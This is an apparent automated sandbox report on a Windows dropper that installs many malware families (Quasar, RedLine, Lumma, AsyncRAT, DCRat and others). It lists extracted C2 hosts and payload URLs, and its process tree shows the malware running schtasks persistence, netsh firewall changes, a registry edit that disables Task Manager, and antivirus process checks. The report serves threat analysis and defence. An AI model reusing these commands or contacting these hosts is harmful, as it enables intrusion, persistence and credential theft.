Overview

overview

10

Static

static

10

4363463463...63.exe

windows10-ltsc_2021-x64

Resubmissions

16/04/2025, 07:31

250416-jcsdbatm1310

16/04/2025, 07:23

250416-h7whsatmx610

14/04/2025, 14:48

250414-r6mc6ayqx410

14/04/2025, 14:47

250414-r5wkfaz1hy10

14/04/2025, 14:45

250414-r4xq4syqv210

31/01/2025, 20:51

250131-zngnysynhl10

22/01/2025, 17:19

250122-vv8c2awqf110

22/01/2025, 16:20

250122-ts986swjel10

22/01/2025, 13:44

250122-q2a9nayng110

22/01/2025, 13:43

250122-q1jjmszmel10

Analysis

  • max time kernel
    65s
  • max time network
    96s
  • platform
    windows10-ltsc_2021_x64
  • resource
    win10ltsc2021-20250314-en
  • resource tags

    arch:x64arch:x86image:win10ltsc2021-20250314-enlocale:en-usos:windows10-ltsc_2021-x64system
  • submitted
    16/04/2025, 07:31

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

Errors

Reason
Machine shutdown

General

  • Target
    4363463463464363463463463.exe
  • Size 764KB
  • Sample250416-jcsdbatm13
  • SHA256 4e5cc8cb98584335400d00f0a0803c3e0202761f3fbe50bcab3858a80df255e1
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10
asyncratazorultdcratlummaquasarredlinestealcxredzharkbotddnsdefaultnewbundle2office04backdoorbotnetdefense_evasiondiscoveryexecutioninfostealermacropersistenceprivilege_escalationratspywarestealertrojan

Malware Config

Extracted

Family

  • xred

C2

  • xred.mooo.com

Attributes
  • email

    [email protected]

  • payload_url

    http://freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978

    https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download

    https://www.dropbox.com/s/n1w4p8gc6jzo0sg/SUpdate.ini?dl=1

    http://xred.site50.net/syn/SUpdate.ini

    https://docs.google.com/uc?id=0BxsMXGfPIZfSVzUyaHFYVkQxeFk&export=download

    https://www.dropbox.com/s/zhp1b06imehwylq/Synaptics.rar?dl=1

    http://xred.site50.net/syn/Synaptics.rar

    https://docs.google.com/uc?id=0BxsMXGfPIZfSTmlVYkxhSDg5TzQ&export=download

    https://www.dropbox.com/s/fzj752whr3ontsm/SSLLibrary.dll?dl=1

    http://xred.site50.net/syn/SSLLibrary.dll

Extracted

Family

  • lumma

C2

  • https://zfurrycomp.top/kFwo

  • https://esccapewz.run/ANSbwqy

  • https://travewlio.shop/ZNxbHi

  • https://touvrlane.bet/ASKwjq

  • https://gsighbtseeing.shop/ASJnzh

  • https://advennture.top/GKsiio

  • https://targett.top/dsANGt

  • https://holidamyup.today/AOzkns

  • https://triplooqp.world/APowko

Extracted

Family

  • asyncrat

Version

  • 0.5.8

Botnet

  • Default

C2

  • 0.tcp.eu.ngrok.io:15174

Mutex

  • aNoM7pvDUvoo

Attributes
  • delay

    3

  • install

    false

  • install_folder

    %AppData%

aes.plain

Extracted

Family

  • quasar

Version

  • 1.4.1

Botnet

  • Office04

C2

  • 192.168.1.79:4782

  • llordiWasHere-55715.portmap.host:55715

  • 192.168.43.241:4782

  • biseo-48321.portmap.host:48321

Mutex

  • 956eafb2-7482-407b-bff4-d2b57a1c3d75

Attributes
  • encryption_key

    EFEBD005E03B8B8669985D9A167E2BEF9FFCA477

  • install_name

    Client.exe

  • log_directory

    Logs

  • reconnect_delay

    3000

  • startup_key

    Quasar Client Startup

  • subdirectory

    SubDir

Extracted

Family

  • redline

C2

  • 38.180.109.140:20007

Extracted

Family

  • redline

Botnet

  • newbundle2

C2

  • 185.215.113.67:15206

Extracted

Family

  • quasar

Version

  • 1.4.1

Botnet

  • DDNS

C2

  • 193.161.193.99:32471

Mutex

  • 807f3187-d087-4fff-beff-e73293a32af8

Attributes
  • encryption_key

    81A0C14D4C705B3C678E573C849DE7F6A3671A8B

  • install_name

    jusched.exe

  • log_directory

    CachedLogs

  • reconnect_delay

    3000

  • startup_key

    Java Update Scheduler

  • subdirectory

    Java

Extracted

Family

  • stealc

Botnet

  • default

C2

  • http://91.202.233.158

Attributes
  • url_path

    /e96ea2db21fa9a1b.php

Signatures

  • AsyncRat

    AsyncRAT is designed to remotely monitor and control other computers written in C#.

    ratasyncrat
  • Asyncrat family
    asyncrat
  • Azorult

    An information stealer that was first discovered in 2016, targeting browsing history and passwords.

    trojaninfostealerazorult
  • Azorult family
    azorult
  • DcRat

    DarkCrystal(DC) is a new .NET RAT active since June 2019 capable of loading additional plugins.

    ratinfostealerdcrat
  • Dcrat family
    dcrat
  • Detects ZharkBot payload 1 IoCs

    ZharkBot is a botnet written C++.

  • Lumma Stealer, LummaC

    Lumma or LummaC is an infostealer written in C++ first seen in August 2022.

    stealerlumma
  • Lumma family
    lumma
  • Quasar RAT

    Quasar is an open source Remote Access Tool.

    trojanspywarequasar
  • Quasar family
    quasar
  • Quasar payload 11 IoCs
  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

    infostealerredline
  • RedLine payload 4 IoCs
  • Redline family
    redline
  • Stealc

    Stealc is an infostealer written in C++.

    stealerstealc
  • Stealc family
    stealc
  • Suspicious use of NtCreateProcessExOtherParentProcess 2 IoCs
  • Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
  • Xred

    Xred is backdoor written in Delphi.

    backdoorxred
  • Xred family
    xred
  • ZharkBot

    ZharkBot is a botnet written C++.

    botnetzharkbot
  • Zharkbot family
    zharkbot
  • Async RAT payload 1 IoCs
    rat
  • DCRat payload 1 IoCs

    Detects payload of DCRat, commonly dropped by NSIS installers.

    rat
  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

    execution
  • Disables Task Manager via registry modification
    defense_evasion
  • Downloads MZ/PE file 22 IoCs
  • Modifies Windows Firewall 2 TTPs 1 IoCs
    defense_evasion
  • Suspicious Office macro 1 IoCs

    Office document equipped with macros.

    macro
  • Checks computer location settings 2 TTPs 14 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops startup file 2 IoCs
  • Executes dropped EXE 40 IoCs
  • Loads dropped DLL 1 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Adds Run key to start application 2 TTPs 1 IoCs
    persistence
  • Checks whether UAC is enabled 1 TTPs 1 IoCs
    defense_evasiontrojan
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs
  • Looks up external IP address via web service 3 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Network Share Discovery 1 TTPs

    Attempt to gather information on host network.

    discovery
  • Enumerates processes with tasklist 1 TTPs 2 IoCs
    discovery
  • Suspicious use of SetThreadContext 5 IoCs
  • Drops file in Windows directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

    persistenceprivilege_escalation
  • Program crash 4 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 37 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 7 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

    discovery
  • Checks SCSI registry key(s) 3 TTPs 3 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Delays execution with timeout.exe 1 IoCs
    defense_evasion
  • Enumerates system info in registry 2 TTPs 6 IoCs
  • GoLang User-Agent 1 IoCs

    Uses default user-agent string defined by GoLang HTTP packages.

  • Modifies data under HKEY_USERS 2 IoCs
  • Modifies registry class 4 IoCs
  • Modifies registry key 1 TTPs 1 IoCs
  • Modifies system certificate store 2 TTPs 2 IoCs
    defense_evasionspywaretrojan
  • Runs ping.exe 1 TTPs 7 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 8 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistenceexecution
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 64 IoCs
  • Suspicious use of SendNotifyMessage 64 IoCs
  • Suspicious use of SetWindowsHookEx 13 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
      PID:3516
      • C:\Users\Admin\AppData\Local\Temp\4363463463464363463463463.exe
        "C:\Users\Admin\AppData\Local\Temp\4363463463464363463463463.exe"
        2⤵
        • Checks computer location settings
        • Adds Run key to start application
        • System Location Discovery: System Language Discovery
        • Modifies registry class
        • Suspicious use of WriteProcessMemory
        PID:5432
        • C:\Users\Admin\AppData\Local\Temp\._cache_4363463463464363463463463.exe
          "C:\Users\Admin\AppData\Local\Temp\._cache_4363463463464363463463463.exe"
          3⤵
          • Downloads MZ/PE file
          • Checks computer location settings
          • Executes dropped EXE
          • System Location Discovery: System Language Discovery
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:876
          • C:\Users\Admin\AppData\Local\Temp\Files\alex1212.exe
            "C:\Users\Admin\AppData\Local\Temp\Files\alex1212.exe"
            4⤵
            • Executes dropped EXE
            • Suspicious use of SetThreadContext
            • Suspicious use of WriteProcessMemory
            PID:444
            • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
              "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
              5⤵
              • System Location Discovery: System Language Discovery
              • Suspicious behavior: EnumeratesProcesses
              PID:3544
          • C:\Users\Admin\AppData\Local\Temp\Files\CrSpoofer.exe
            "C:\Users\Admin\AppData\Local\Temp\Files\CrSpoofer.exe"
            4⤵
            • Executes dropped EXE
            • System Location Discovery: System Language Discovery
            • Suspicious use of AdjustPrivilegeToken
            PID:1976
          • C:\Users\Admin\AppData\Local\Temp\Files\SQL.exe
            "C:\Users\Admin\AppData\Local\Temp\Files\SQL.exe"
            4⤵
            • Checks computer location settings
            • Executes dropped EXE
            • Suspicious use of AdjustPrivilegeToken
            PID:5744
          • C:\Users\Admin\AppData\Local\Temp\Files\Cbqjobosim-Signed.exe
            "C:\Users\Admin\AppData\Local\Temp\Files\Cbqjobosim-Signed.exe"
            4⤵
            • Suspicious use of NtCreateUserProcessOtherParentProcess
            • Drops startup file
            • Executes dropped EXE
            • Suspicious use of SetThreadContext
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:3716
          • C:\Users\Admin\AppData\Local\Temp\Files\CondoGenerator.exe
            "C:\Users\Admin\AppData\Local\Temp\Files\CondoGenerator.exe"
            4⤵
            • Executes dropped EXE
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:3308
            • C:\Windows\SYSTEM32\schtasks.exe
              "schtasks" /create /tn "Quasar Client Startup" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\SubDir\Client.exe" /rl HIGHEST /f
              5⤵
              • Scheduled Task/Job: Scheduled Task
              PID:3620
            • C:\Users\Admin\AppData\Roaming\SubDir\Client.exe
              "C:\Users\Admin\AppData\Roaming\SubDir\Client.exe"
              5⤵
              • Checks computer location settings
              • Executes dropped EXE
              • Suspicious use of AdjustPrivilegeToken
              • Suspicious use of FindShellTrayWindow
              • Suspicious use of SendNotifyMessage
              • Suspicious use of SetWindowsHookEx
              • Suspicious use of WriteProcessMemory
              PID:1744
              • C:\Windows\SYSTEM32\schtasks.exe
                "schtasks" /create /tn "Quasar Client Startup" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\SubDir\Client.exe" /rl HIGHEST /f
                6⤵
                • Scheduled Task/Job: Scheduled Task
                PID:464
              • C:\Windows\system32\cmd.exe
                C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\zIijRkw2GnRe.bat" "
                6⤵
                • Suspicious use of WriteProcessMemory
                PID:5344
                • C:\Windows\system32\chcp.com
                  chcp 65001
                  7⤵
                    PID:232
                  • C:\Windows\system32\PING.EXE
                    ping -n 10 localhost
                    7⤵
                    • System Network Configuration Discovery: Internet Connection Discovery
                    • Runs ping.exe
                    PID:3780
                  • C:\Users\Admin\AppData\Roaming\SubDir\Client.exe
                    "C:\Users\Admin\AppData\Roaming\SubDir\Client.exe"
                    7⤵
                    • Checks computer location settings
                    • Executes dropped EXE
                    • Suspicious use of AdjustPrivilegeToken
                    • Suspicious use of FindShellTrayWindow
                    • Suspicious use of SendNotifyMessage
                    PID:5108
                    • C:\Windows\system32\cmd.exe
                      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\U9gol4TTcajZ.bat" "
                      8⤵
                        PID:1448
                        • C:\Windows\system32\chcp.com
                          chcp 65001
                          9⤵
                            PID:2240
                          • C:\Windows\system32\PING.EXE
                            ping -n 10 localhost
                            9⤵
                            • System Network Configuration Discovery: Internet Connection Discovery
                            • Runs ping.exe
                            PID:2620
                          • C:\Users\Admin\AppData\Roaming\SubDir\Client.exe
                            "C:\Users\Admin\AppData\Roaming\SubDir\Client.exe"
                            9⤵
                            • Checks computer location settings
                            • Executes dropped EXE
                            • Suspicious use of AdjustPrivilegeToken
                            • Suspicious use of FindShellTrayWindow
                            • Suspicious use of SendNotifyMessage
                            PID:4700
                            • C:\Windows\system32\cmd.exe
                              C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\w6bJxV73cnu0.bat" "
                              10⤵
                                PID:2480
                                • C:\Windows\System32\Conhost.exe
                                  \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                  11⤵
                                    PID:4416
                                  • C:\Windows\system32\chcp.com
                                    chcp 65001
                                    11⤵
                                      PID:5708
                                    • C:\Windows\system32\PING.EXE
                                      ping -n 10 localhost
                                      11⤵
                                      • System Network Configuration Discovery: Internet Connection Discovery
                                      • Runs ping.exe
                                      PID:5792
                                    • C:\Users\Admin\AppData\Roaming\SubDir\Client.exe
                                      "C:\Users\Admin\AppData\Roaming\SubDir\Client.exe"
                                      11⤵
                                        PID:5840
                                        • C:\Windows\system32\cmd.exe
                                          C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\g9WYwq94fzOt.bat" "
                                          12⤵
                                            PID:416
                                            • C:\Windows\system32\chcp.com
                                              chcp 65001
                                              13⤵
                                                PID:6008
                                              • C:\Windows\system32\PING.EXE
                                                ping -n 10 localhost
                                                13⤵
                                                • System Network Configuration Discovery: Internet Connection Discovery
                                                • Runs ping.exe
                                                PID:4528
                            • C:\Users\Admin\AppData\Local\Temp\Files\RedSystem.exe
                              "C:\Users\Admin\AppData\Local\Temp\Files\RedSystem.exe"
                              4⤵
                              • Executes dropped EXE
                              • System Location Discovery: System Language Discovery
                              • Suspicious behavior: EnumeratesProcesses
                              PID:4692
                              • C:\Windows\SysWOW64\WerFault.exe
                                C:\Windows\SysWOW64\WerFault.exe -u -p 4692 -s 1532
                                5⤵
                                • Program crash
                                PID:4392
                              • C:\Windows\SysWOW64\WerFault.exe
                                C:\Windows\SysWOW64\WerFault.exe -u -p 4692 -s 868
                                5⤵
                                • Program crash
                                PID:60
                            • C:\Users\Admin\AppData\Local\Temp\Files\coreplugin.exe
                              "C:\Users\Admin\AppData\Local\Temp\Files\coreplugin.exe"
                              4⤵
                              • Checks computer location settings
                              • Executes dropped EXE
                              • System Location Discovery: System Language Discovery
                              • Suspicious use of WriteProcessMemory
                              PID:2040
                              • C:\Windows\SysWOW64\cmd.exe
                                "C:\Windows\System32\cmd.exe" /k move Anytime Anytime.cmd & Anytime.cmd & exit
                                5⤵
                                • System Location Discovery: System Language Discovery
                                PID:5024
                                • C:\Windows\SysWOW64\tasklist.exe
                                  tasklist
                                  6⤵
                                  • Enumerates processes with tasklist
                                  • System Location Discovery: System Language Discovery
                                  • Suspicious use of AdjustPrivilegeToken
                                  PID:5968
                                • C:\Windows\SysWOW64\findstr.exe
                                  findstr /I "wrsa.exe opssvc.exe"
                                  6⤵
                                  • System Location Discovery: System Language Discovery
                                  PID:3728
                                • C:\Windows\SysWOW64\tasklist.exe
                                  tasklist
                                  6⤵
                                  • Enumerates processes with tasklist
                                  • System Location Discovery: System Language Discovery
                                  • Suspicious use of AdjustPrivilegeToken
                                  PID:3832
                                • C:\Windows\SysWOW64\findstr.exe
                                  findstr /I "avastui.exe avgui.exe bdservicehost.exe ekrn.exe nswscsvc.exe sophoshealth.exe"
                                  6⤵
                                  • System Location Discovery: System Language Discovery
                                  PID:5840
                                • C:\Windows\SysWOW64\cmd.exe
                                  cmd /c md 297145
                                  6⤵
                                  • System Location Discovery: System Language Discovery
                                  PID:768
                                • C:\Windows\SysWOW64\findstr.exe
                                  findstr /V "CorkBkConditionsMoon" Scary
                                  6⤵
                                  • System Location Discovery: System Language Discovery
                                  PID:4868
                                • C:\Windows\SysWOW64\cmd.exe
                                  cmd /c copy /b ..\Dependence + ..\Nsw + ..\Developmental + ..\Shared + ..\Ranges + ..\Notify + ..\Pending + ..\Previously k
                                  6⤵
                                  • System Location Discovery: System Language Discovery
                                  PID:524
                                • C:\Users\Admin\AppData\Local\Temp\297145\Cultures.pif
                                  Cultures.pif k
                                  6⤵
                                  • Executes dropped EXE
                                  • System Location Discovery: System Language Discovery
                                  • Suspicious use of FindShellTrayWindow
                                  • Suspicious use of SendNotifyMessage
                                  PID:4636
                                • C:\Windows\SysWOW64\choice.exe
                                  choice /d y /t 5
                                  6⤵
                                  • System Location Discovery: System Language Discovery
                                  PID:3156
                            • C:\Users\Admin\AppData\Local\Temp\Files\latest.exe
                              "C:\Users\Admin\AppData\Local\Temp\Files\latest.exe"
                              4⤵
                              • Executes dropped EXE
                              • Checks whether UAC is enabled
                              • Suspicious use of FindShellTrayWindow
                              • Suspicious use of SendNotifyMessage
                              PID:1040
                              • C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\msedgewebview2.exe
                                "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\msedgewebview2.exe" --embedded-browser-webview=1 --webview-exe-name=latest.exe --user-data-dir="C:\Users\Admin\AppData\Roaming\latest.exe\EBWebView" --noerrdialogs --embedded-browser-webview-dpi-awareness=0 --mojo-named-platform-channel-pipe=1040.1496.6887472651363425407
                                5⤵
                                • Drops file in Windows directory
                                • Enumerates system info in registry
                                • Modifies data under HKEY_USERS
                                • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
                                PID:3772
                                • C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\msedgewebview2.exe
                                  "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\msedgewebview2.exe" --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Roaming\latest.exe\EBWebView /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Roaming\latest.exe\EBWebView\Crashpad --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=132.0.6834.160 "--annotation=exe=C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\msedgewebview2.exe" --annotation=plat=Win64 "--annotation=prod=Edge WebView2" --annotation=ver=132.0.2957.140 --initial-client-data=0x184,0x188,0x18c,0x160,0x194,0x7ffd49c2b078,0x7ffd49c2b084,0x7ffd49c2b090
                                  6⤵
                                    PID:4904
                                  • C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\msedgewebview2.exe
                                    "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\msedgewebview2.exe" --type=gpu-process --string-annotations --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Roaming\latest.exe\EBWebView" --webview-exe-name=latest.exe --embedded-browser-webview=1 --embedded-browser-webview-dpi-awareness=0 --gpu-preferences=UAAAAAAAAADgAAAEAAAAAAAAAAAAAAAAAABgAAEAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --always-read-main-dll --field-trial-handle=1760,i,15304741412224991421,3354404988458006887,262144 --variations-seed-version --mojo-platform-channel-handle=1756 /prefetch:2
                                    6⤵
                                      PID:5076
                                    • C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\msedgewebview2.exe
                                      "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\msedgewebview2.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --string-annotations --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Roaming\latest.exe\EBWebView" --webview-exe-name=latest.exe --embedded-browser-webview=1 --embedded-browser-webview-dpi-awareness=0 --always-read-main-dll --field-trial-handle=1916,i,15304741412224991421,3354404988458006887,262144 --variations-seed-version --mojo-platform-channel-handle=2024 /prefetch:3
                                      6⤵
                                        PID:3260
                                      • C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\msedgewebview2.exe
                                        "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\msedgewebview2.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --string-annotations --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Roaming\latest.exe\EBWebView" --webview-exe-name=latest.exe --embedded-browser-webview=1 --embedded-browser-webview-dpi-awareness=0 --always-read-main-dll --field-trial-handle=2264,i,15304741412224991421,3354404988458006887,262144 --variations-seed-version --mojo-platform-channel-handle=2184 /prefetch:8
                                        6⤵
                                          PID:984
                                        • C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\msedgewebview2.exe
                                          "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\msedgewebview2.exe" --type=renderer --string-annotations --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Roaming\latest.exe\EBWebView" --webview-exe-name=latest.exe --embedded-browser-webview=1 --embedded-browser-webview-dpi-awareness=0 --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --js-flags="--harmony-weak-refs-with-cleanup-some --expose-gc --ms-user-locale=" --always-read-main-dll --field-trial-handle=3712,i,15304741412224991421,3354404988458006887,262144 --variations-seed-version --mojo-platform-channel-handle=3728 /prefetch:1
                                          6⤵
                                            PID:3716
                                      • C:\Users\Admin\AppData\Local\Temp\Files\Test2.exe
                                        "C:\Users\Admin\AppData\Local\Temp\Files\Test2.exe"
                                        4⤵
                                        • Executes dropped EXE
                                        • Suspicious use of AdjustPrivilegeToken
                                        • Suspicious use of WriteProcessMemory
                                        PID:4808
                                        • C:\Users\Admin\AppData\Roaming\SubDir\Client.exe
                                          "C:\Users\Admin\AppData\Roaming\SubDir\Client.exe"
                                          5⤵
                                          • Executes dropped EXE
                                          • Suspicious use of AdjustPrivilegeToken
                                          • Suspicious use of FindShellTrayWindow
                                          • Suspicious use of SendNotifyMessage
                                          PID:6012
                                      • C:\Users\Admin\AppData\Local\Temp\Files\shell.exe
                                        "C:\Users\Admin\AppData\Local\Temp\Files\shell.exe"
                                        4⤵
                                        • Executes dropped EXE
                                        • System Location Discovery: System Language Discovery
                                        PID:4384
                                      • C:\Users\Admin\AppData\Local\Temp\Files\Microsoft_Hardware_Launch.exe
                                        "C:\Users\Admin\AppData\Local\Temp\Files\Microsoft_Hardware_Launch.exe"
                                        4⤵
                                        • Executes dropped EXE
                                        • System Location Discovery: System Language Discovery
                                        • Suspicious behavior: GetForegroundWindowSpam
                                        • Suspicious use of AdjustPrivilegeToken
                                        PID:5896
                                        • C:\Windows\SysWOW64\netsh.exe
                                          netsh firewall add allowedprogram "C:\Users\Admin\AppData\Local\Temp\Files\Microsoft_Hardware_Launch.exe" "Microsoft_Hardware_Launch.exe" ENABLE
                                          5⤵
                                          • Modifies Windows Firewall
                                          • Event Triggered Execution: Netsh Helper DLL
                                          • System Location Discovery: System Language Discovery
                                          PID:5448
                                      • C:\Users\Admin\AppData\Local\Temp\Files\q1wnx5ir.exe
                                        "C:\Users\Admin\AppData\Local\Temp\Files\q1wnx5ir.exe"
                                        4⤵
                                        • Executes dropped EXE
                                        • System Location Discovery: System Language Discovery
                                        PID:4404
                                        • C:\Windows\SysWOW64\WerFault.exe
                                          C:\Windows\SysWOW64\WerFault.exe -u -p 4404 -s 476
                                          5⤵
                                          • Program crash
                                          PID:5364
                                      • C:\Users\Admin\AppData\Local\Temp\Files\discord.exe
                                        "C:\Users\Admin\AppData\Local\Temp\Files\discord.exe"
                                        4⤵
                                        • Executes dropped EXE
                                        • Suspicious behavior: EnumeratesProcesses
                                        • Suspicious use of AdjustPrivilegeToken
                                        PID:2288
                                      • C:\Users\Admin\AppData\Local\Temp\Files\alex111111.exe
                                        "C:\Users\Admin\AppData\Local\Temp\Files\alex111111.exe"
                                        4⤵
                                        • Executes dropped EXE
                                        • Suspicious use of SetThreadContext
                                        • System Location Discovery: System Language Discovery
                                        PID:2364
                                        • C:\Users\Admin\AppData\Local\Temp\Files\alex111111.exe
                                          "C:\Users\Admin\AppData\Local\Temp\Files\alex111111.exe"
                                          5⤵
                                          • Executes dropped EXE
                                          PID:4868
                                        • C:\Users\Admin\AppData\Local\Temp\Files\alex111111.exe
                                          "C:\Users\Admin\AppData\Local\Temp\Files\alex111111.exe"
                                          5⤵
                                          • Executes dropped EXE
                                          • System Location Discovery: System Language Discovery
                                          PID:4024
                                        • C:\Windows\SysWOW64\WerFault.exe
                                          C:\Windows\SysWOW64\WerFault.exe -u -p 2364 -s 832
                                          5⤵
                                          • Program crash
                                          PID:1268
                                      • C:\Users\Admin\AppData\Local\Temp\Files\NoEscape.exe
                                        "C:\Users\Admin\AppData\Local\Temp\Files\NoEscape.exe"
                                        4⤵
                                        • Executes dropped EXE
                                        • System Location Discovery: System Language Discovery
                                        PID:5148
                                      • C:\Users\Admin\AppData\Local\Temp\Files\onetap.exe
                                        "C:\Users\Admin\AppData\Local\Temp\Files\onetap.exe"
                                        4⤵
                                        • Executes dropped EXE
                                        • System Location Discovery: System Language Discovery
                                        PID:1608
                                      • C:\Users\Admin\AppData\Local\Temp\Files\DCRatBuild.exe
                                        "C:\Users\Admin\AppData\Local\Temp\Files\DCRatBuild.exe"
                                        4⤵
                                        • Checks computer location settings
                                        • Executes dropped EXE
                                        • System Location Discovery: System Language Discovery
                                        • Modifies registry class
                                        PID:4724
                                        • C:\Windows\SysWOW64\WScript.exe
                                          "C:\Windows\System32\WScript.exe" "C:\Hyperruntimeperf\1BsDc3sv0Ug0mZu.vbe"
                                          5⤵
                                          • Checks computer location settings
                                          • System Location Discovery: System Language Discovery
                                          PID:3416
                                          • C:\Windows\SysWOW64\cmd.exe
                                            C:\Windows\system32\cmd.exe /c ""C:\Hyperruntimeperf\vPQVVqEr.bat" "
                                            6⤵
                                            • Checks computer location settings
                                            • System Location Discovery: System Language Discovery
                                            • Suspicious use of SetWindowsHookEx
                                            PID:6008
                                            • C:\Windows\SysWOW64\reg.exe
                                              reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
                                              7⤵
                                              • System Location Discovery: System Language Discovery
                                              • Modifies registry key
                                              PID:5072
                                      • C:\Users\Admin\AppData\Local\Temp\Files\Client-built.exe
                                        "C:\Users\Admin\AppData\Local\Temp\Files\Client-built.exe"
                                        4⤵
                                        • Executes dropped EXE
                                        • Suspicious use of AdjustPrivilegeToken
                                        PID:4920
                                        • C:\Windows\SYSTEM32\schtasks.exe
                                          "schtasks" /create /tn "Svchost" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\Svchost\Svchost.exe" /rl HIGHEST /f
                                          5⤵
                                          • Scheduled Task/Job: Scheduled Task
                                          PID:4208
                                        • C:\Users\Admin\AppData\Roaming\Svchost\Svchost.exe
                                          "C:\Users\Admin\AppData\Roaming\Svchost\Svchost.exe"
                                          5⤵
                                          • Checks computer location settings
                                          • Executes dropped EXE
                                          • Suspicious use of AdjustPrivilegeToken
                                          • Suspicious use of SetWindowsHookEx
                                          PID:3536
                                          • C:\Windows\SYSTEM32\schtasks.exe
                                            "schtasks" /create /tn "Svchost" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\Svchost\Svchost.exe" /rl HIGHEST /f
                                            6⤵
                                            • Scheduled Task/Job: Scheduled Task
                                            PID:4260
                                          • C:\Windows\system32\cmd.exe
                                            C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\kE3VBlZ6fIom.bat" "
                                            6⤵
                                              PID:1644
                                              • C:\Windows\system32\chcp.com
                                                chcp 65001
                                                7⤵
                                                  PID:5016
                                                • C:\Windows\system32\PING.EXE
                                                  ping -n 10 localhost
                                                  7⤵
                                                  • System Network Configuration Discovery: Internet Connection Discovery
                                                  • Runs ping.exe
                                                  PID:5756
                                                • C:\Users\Admin\AppData\Roaming\Svchost\Svchost.exe
                                                  "C:\Users\Admin\AppData\Roaming\Svchost\Svchost.exe"
                                                  7⤵
                                                  • Checks computer location settings
